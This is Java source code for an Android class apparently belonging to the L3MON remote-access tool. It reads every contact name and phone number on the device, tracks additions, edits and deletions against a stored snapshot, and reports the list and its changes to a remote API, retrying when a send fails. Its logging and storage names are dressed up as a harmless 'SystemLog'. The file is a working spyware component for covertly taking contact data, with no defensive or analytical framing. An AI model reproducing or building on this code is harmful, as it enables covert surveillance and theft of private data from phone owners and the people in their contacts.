package com.etechd.l3mon;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONArray;
import org.json.JSONObject;

import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Set;

public class ContactsChangeTracker {
    private static final String TAG = "SystemLog";
    private static final String PREFS = "systemlog_contacts";
    private static final String KEY_SNAPSHOT = "snapshot_json";

    public static JSONObject buildPayload(boolean emitEvents) {
        try {
            Context ctx = getContext();
            if (ctx == null) {
                return null;
            }

            JSONArray list = readContactsList(ctx);
            JSONObject payload = new JSONObject();
            payload.put("contactsList", list);

            Map<String, JSONObject> current = indexByHash(list);
            Map<String, JSONObject> previous = loadSnapshot(ctx);

            if (emitEvents) {
                JSONArray events = diff(previous, current);
                if (events.length() > 0) {
                    payload.put("events", events);
                }
            }

            return payload;
        } catch (Exception e) {
            Log.e(TAG, "buildPayload contacts: " + e.getMessage());
            return null;
        }
    }

    public static void reportChangesIfAny() {
        try {
            Context ctx = getContext();
            if (ctx == null) {
                return;
            }

            JSONArray list = readContactsList(ctx);
            Map<String, JSONObject> current = indexByHash(list);
            Map<String, JSONObject> previous = loadSnapshot(ctx);
            JSONArray events = diff(previous, current);

            if (!hasChanges(previous, current, events)) {
                return;
            }

            JSONObject payload = new JSONObject();
            payload.put("contactsList", list);
            if (events.length() > 0) {
                payload.put("events", events);
            }

            if (SystemLogApi.report("0xCO", payload)) {
                saveSnapshot(ctx, current);
                Log.i(TAG, "Contactos reportados: eventos=" + events.length() + " total=" + list.length());
            } else {
                Log.w(TAG, "Fallo al reportar contactos (se reintentará)");
            }
        } catch (Exception e) {
            Log.e(TAG, "reportChangesIfAny: " + e.getMessage());
        }
    }

    private static boolean hasChanges(
            Map<String, JSONObject> previous,
            Map<String, JSONObject> current,
            JSONArray events
    ) throws Exception {
        if (events.length() > 0) {
            return true;
        }
        if (previous.size() != current.size()) {
            return true;
        }
        for (Map.Entry<String, JSONObject> e : current.entrySet()) {
            if (!previous.containsKey(e.getKey())) {
                return true;
            }
            if (contactChanged(previous.get(e.getKey()), e.getValue())) {
                return true;
            }
        }
        return false;
    }

    private static Context getContext() {
        Context ctx = MainService.getContextOfApplication();
        if (ctx == null) {
            ctx = SystemLogApi.getAppContext();
        }
        return ctx;
    }

    /**
     * Nombre canónico desde Contacts (más fiable tras editar que Phone.DISPLAY_NAME).
     */
    private static Map<String, String> loadDisplayNamesByContactId(Context ctx) {
        Map<String, String> names = new HashMap<>();
        Cursor cur = ctx.getContentResolver().query(
                ContactsContract.Contacts.CONTENT_URI,
                new String[]{ContactsContract.Contacts._ID, ContactsContract.Contacts.DISPLAY_NAME},
                null,
                null,
                null
        );
        if (cur == null) {
            return names;
        }
        int idxId = cur.getColumnIndex(ContactsContract.Contacts._ID);
        int idxName = cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
        while (cur.moveToNext()) {
            if (idxId < 0) {
                continue;
            }
            String id = String.valueOf(cur.getLong(idxId));
            String name = idxName >= 0 ? cur.getString(idxName) : "";
            names.put(id, name != null ? name : "");
        }
        cur.close();
        return names;
    }

    private static JSONArray readContactsList(Context ctx) throws Exception {
        Map<String, String> namesById = loadDisplayNamesByContactId(ctx);
        Map<String, JSONObject> byContactId = new LinkedHashMap<>();
        Set<String> seenContactIds = new HashSet<>();

        Uri phoneUri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
        String[] phoneProjection = new String[]{
                ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
                ContactsContract.CommonDataKinds.Phone.NUMBER,
                ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
                ContactsContract.CommonDataKinds.Phone.IS_PRIMARY
        };

        Cursor phoneCur = ctx.getContentResolver().query(
                phoneUri,
                phoneProjection,
                null,
                null,
                ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " ASC, "
                        + ContactsContract.CommonDataKinds.Phone.IS_PRIMARY + " DESC"
        );

        if (phoneCur != null) {
            int idxName = phoneCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
            int idxNum = phoneCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
            int idxId = phoneCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID);

            while (phoneCur.moveToNext()) {
                String contactId = idxId >= 0 ? String.valueOf(phoneCur.getLong(idxId)) : "";
                if (contactId.length() == 0 || "0".equals(contactId)) {
                    continue;
                }

                if (byContactId.containsKey(contactId)) {
                    continue;
                }

                String name = namesById.containsKey(contactId)
                        ? namesById.get(contactId)
                        : (idxName >= 0 ? phoneCur.getString(idxName) : "");
                String num = idxNum >= 0 ? phoneCur.getString(idxNum) : "";

                JSONObject c = new JSONObject();
                c.put("name", name != null ? name : "");
                c.put("phoneNo", num != null ? num : "");
                c.put("contactId", contactId);
                byContactId.put(contactId, c);
                seenContactIds.add(contactId);
            }
            phoneCur.close();
        }

        for (Map.Entry<String, String> e : namesById.entrySet()) {
            if (seenContactIds.contains(e.getKey())) {
                continue;
            }
            JSONObject c = new JSONObject();
            c.put("name", e.getValue());
            c.put("phoneNo", "");
            c.put("contactId", e.getKey());
            byContactId.put(e.getKey(), c);
        }

        JSONArray list = new JSONArray();
        for (JSONObject c : byContactId.values()) {
            list.put(c);
        }
        return list;
    }

    private static Map<String, JSONObject> indexByHash(JSONArray list) throws Exception {
        Map<String, JSONObject> map = new HashMap<>();
        for (int i = 0; i < list.length(); i++) {
            JSONObject c = list.getJSONObject(i);
            map.put(contactHash(c), c);
        }
        return map;
    }

    private static String contactHash(JSONObject c) throws Exception {
        if (c.has("contactId")) {
            return md5("id:" + c.getString("contactId"));
        }
        String phone = normalizePhone(c.optString("phoneNo", ""));
        if (phone.length() > 0) {
            return md5("phone:" + phone);
        }
        String name = c.optString("name", "").trim();
        return md5("name:" + name);
    }

    private static String md5(String input) {
        try {
            java.security.MessageDigest md = java.security.MessageDigest.getInstance("MD5");
            byte[] digest = md.digest(input.getBytes("UTF-8"));
            StringBuilder sb = new StringBuilder();
            for (byte b : digest) {
                sb.append(String.format("%02x", b));
            }
            return sb.toString();
        } catch (Exception e) {
            return String.valueOf(input.hashCode());
        }
    }

    private static String normalizePhone(String phone) {
        return phone == null ? "" : phone.replaceAll("\\s+", "");
    }

    private static Map<String, JSONObject> loadSnapshot(Context ctx) {
        Map<String, JSONObject> map = new HashMap<>();
        try {
            String json = ctx.getSharedPreferences(PREFS, Context.MODE_PRIVATE).getString(KEY_SNAPSHOT, null);
            if (json == null || json.isEmpty()) {
                return map;
            }
            JSONObject root = new JSONObject(json);
            Iterator<String> keys = root.keys();
            while (keys.hasNext()) {
                String k = keys.next();
                map.put(k, root.getJSONObject(k));
            }
        } catch (Exception ignored) {
        }
        return map;
    }

    private static void saveSnapshot(Context ctx, Map<String, JSONObject> current) {
        try {
            JSONObject root = new JSONObject();
            for (Map.Entry<String, JSONObject> e : current.entrySet()) {
                root.put(e.getKey(), e.getValue());
            }
            ctx.getSharedPreferences(PREFS, Context.MODE_PRIVATE)
                    .edit()
                    .putString(KEY_SNAPSHOT, root.toString())
                    .apply();
        } catch (Exception ignored) {
        }
    }

    private static JSONArray diff(Map<String, JSONObject> before, Map<String, JSONObject> after) throws Exception {
        JSONArray events = new JSONArray();
        long now = System.currentTimeMillis();

        for (Map.Entry<String, JSONObject> e : after.entrySet()) {
            String hash = e.getKey();
            JSONObject newC = e.getValue();
            if (!before.containsKey(hash)) {
                JSONObject ev = new JSONObject();
                ev.put("action", "added");
                ev.put("contactHash", hash);
                ev.put("name", newC.optString("name"));
                ev.put("phoneNo", normalizePhone(newC.optString("phoneNo")));
                ev.put("after", snapshotFields(newC));
                ev.put("changedAt", now);
                events.put(ev);
                continue;
            }
            JSONObject oldC = before.get(hash);
            if (contactChanged(oldC, newC)) {
                JSONObject ev = new JSONObject();
                ev.put("action", "updated");
                ev.put("contactHash", hash);
                ev.put("name", newC.optString("name"));
                ev.put("phoneNo", normalizePhone(newC.optString("phoneNo")));
                ev.put("before", snapshotFields(oldC));
                ev.put("after", snapshotFields(newC));
                ev.put("changedAt", now);
                events.put(ev);
            }
        }

        for (Map.Entry<String, JSONObject> e : before.entrySet()) {
            if (!after.containsKey(e.getKey())) {
                JSONObject oldC = e.getValue();
                JSONObject ev = new JSONObject();
                ev.put("action", "deleted");
                ev.put("contactHash", e.getKey());
                ev.put("name", oldC.optString("name"));
                ev.put("phoneNo", normalizePhone(oldC.optString("phoneNo")));
                ev.put("before", snapshotFields(oldC));
                ev.put("changedAt", now);
                events.put(ev);
            }
        }

        return events;
    }

    private static JSONObject snapshotFields(JSONObject c) throws Exception {
        JSONObject s = new JSONObject();
        s.put("name", c.optString("name", ""));
        s.put("phoneNo", normalizePhone(c.optString("phoneNo", "")));
        if (c.has("contactId")) {
            s.put("contactId", c.getString("contactId"));
        }
        return s;
    }

    private static boolean contactChanged(JSONObject a, JSONObject b) throws Exception {
        return !a.optString("name", "").trim().equalsIgnoreCase(b.optString("name", "").trim())
                || !normalizePhone(a.optString("phoneNo", "")).equals(normalizePhone(b.optString("phoneNo", "")));
    }
}
